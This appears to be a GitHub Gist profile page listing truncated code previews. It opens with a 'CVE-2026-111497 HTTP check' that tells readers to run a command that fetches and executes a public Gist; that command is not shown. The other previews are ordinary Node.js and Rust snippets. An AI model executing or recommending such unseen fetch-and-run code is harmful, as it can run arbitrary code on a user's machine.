alanhoff

CVE-2026-111497 HTTP check

This command fingerprints the Node.js Brotli decoder behavior associated with CVE-2026-111497. It checks an HTTP endpoint's response to malformed Brotli data. It does not attempt to read server-side data, capture secrets, or prove that code execution is possible.

Node.js shipped the fix in versions 22.23.4, 24.22.1, and 26.12.1. The upstream Brotli fix rejects an invalid block switch earlier.

Run

Install Node.js 18 or newer with npm/npx, and make sure Git is available. The command fetches and runs the public Gist:

alanhoff

const http = require('http');
const httpProxy = require('http-proxy');

const proxy = httpProxy.createProxyServer({
  target: {
    host: 'pulsar-host',
    port: 8080
  }
});

alanhoff

https://8811d579.ngrok.io/lesson/5ea876762d3a5a5aafaaa543

alanhoff

extern crate actix;
extern crate tokio;

use actix::io::{WriteHandler, Writer};
use actix::prelude::*;
use actix::{Actor, Addr, Context, Handler, Syn};
use tokio::io;
use tokio::io::{ReadHalf, WriteHalf};
use tokio::net::{TcpListener, TcpStream};
use tokio::prelude::stream::Stream;

alanhoff

const rust = require('rustify');
const wasm = rust`
  use std::ffi::{CString};
  use std::os::raw::{c_char};

  #[no_mangle]
  pub extern "C" fn str_len(ptr: *mut c_char) -> usize {
      unsafe {
          let string = CString::from_raw(ptr);
          string.to_bytes().len()

alanhoff

async function fazerAlgo() {
  const resposta = await request('https://google.com.br')
  await fs.writeFile('resposta.html', resposta)

  const resposta2 = await request('https://facebook.com')
  await fs.writeFile('resposta2.html', resposta2)

  console.log('Todas as respostas foram salvas!')
}

alanhoff

var semaforo = 0
var valores = ['hello', 'world']

function callback () {
  semaforo--

  if (semaforo === 0) {
    console.log('Acabou tudo o que tinha pra fazer, vou finalizar')
    process.exit()
  } else {

alanhoff

'use strict'

const crypto = require('crypto')

/**
 * Encripta dados utilizando o cipher camellia256
 * @param {String} data dados a serem encriptados
 * @param {String} encoding utf8, base64 ou hex
 * @param {String} output base64 ou hex
 * @return {String} O resultado da encriptação com o output selecionado

alanhoff

function hello () {
  return new Promise((resolve) => {
    setTimeout(() => resolve('Hello world!'), 100)
  })
}

alanhoff

const nsq = require('nsq')
const crypto = require('crypto')

module.exports = async (req, res) => {
  async validarAuth(req.header.authentication)
  
  // Depois de validar iniciar a escuta em uma fila única para essa request
  const replyQueue = crypto.randomBytes(30).toString('hex')
  nsq.on(replyQueue, data => {
    res.json(data)